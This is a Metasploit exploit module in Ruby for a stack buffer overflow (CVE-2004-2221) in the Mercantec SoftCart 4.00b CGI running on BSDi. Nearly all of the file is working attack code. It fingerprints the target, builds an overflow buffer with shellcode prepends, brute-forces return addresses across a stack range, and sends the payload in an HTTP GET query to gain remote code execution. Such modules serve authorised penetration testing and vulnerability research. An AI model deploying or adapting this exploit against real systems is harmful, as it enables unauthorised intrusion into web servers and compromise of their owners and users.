Mercantec SoftCart CGI Overflow



##

# $Id: mercantec_softcart.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::Brute
    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Mercantec SoftCart CGI Overflow',
            'Description'    => %q{
                This is an exploit for an undisclosed buffer overflow
                in the SoftCart.exe CGI as shipped with Mercantec's shopping
                cart software.  It is possible to execute arbitrary code
                by passing a malformed CGI parameter in an HTTP GET
                request.  This issue is known to affect SoftCart version
                4.00b.
            },
            'Author'         => [ 'skape', 'trew' ],
            'Version'        => '$Revision: 10394 $',
            'References'     =>
                [
                    [ 'CVE', '2004-2221'],
                    [ 'OSVDB', '9011'],
                    [ 'BID', '10926'],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Space'    => 1000,
                    'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\x27\x5c\x3c\x3e\x3b\x22\x60\x7e\x24\x5e\x2a\x26\x7c\x7b\x7d\x28\x29\x3f\x5d\x5b\x00",
                    'MinNops'  => 16,
                    'Prepend'  => "\x6a\x02\x58\x50\x9a\x00\x00\x00\x00\x07\x00\x85\xd2\x75\x0a\x31\xc0\x40\x9a\x00\x00\x00\x00\x07\x00",
                    'PrependEncoder' => "\x83\xec\x7f",
                },
            'Platform'       => 'bsdi',
            'Targets'        =>
                [
                    [
                        'BSDi/4.3 Bruteforce',
                        {
                            'Bruteforce' =>
                                {
                                    'Start' => { 'Ret' => 0xefbf3000 },
                                    'Stop'  => { 'Ret' => 0xefbffffc },
                                    'Step'  => 0
                                }
                        },
                    ],
                ],
            'DisclosureDate' => 'Aug 19 2004',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('URI', [ false, "The target CGI URI", '/cgi-bin/SoftCart.exe' ])
            ], self.class)
    end

    def brute_exploit(address)
        if not (@mercantec)
            res = send_request_raw({
                'uri'   => datastore['URI']
            }, 5)
            @mercantec = (res and res.body and res.body =~ /Copyright.*Mercantec/)
            raise RuntimeError, "The target is not a Mercantec CGI" if not @mercantec
        end

        buffer =
            "MAA+scstoreB" +
            rand_text_alphanumeric(512) +
            [address['Ret']].pack('V') +
            "MSF!" +
            [address['Ret'] + payload.encoded.length].pack('V') +
            payload.encoded

        print_status("Trying #{"%.8x" % address['Ret']}...")
        res = send_request_raw({
            'uri'   => datastore['URI'],
            'query' => buffer
        }, 5)

        handler
    end

end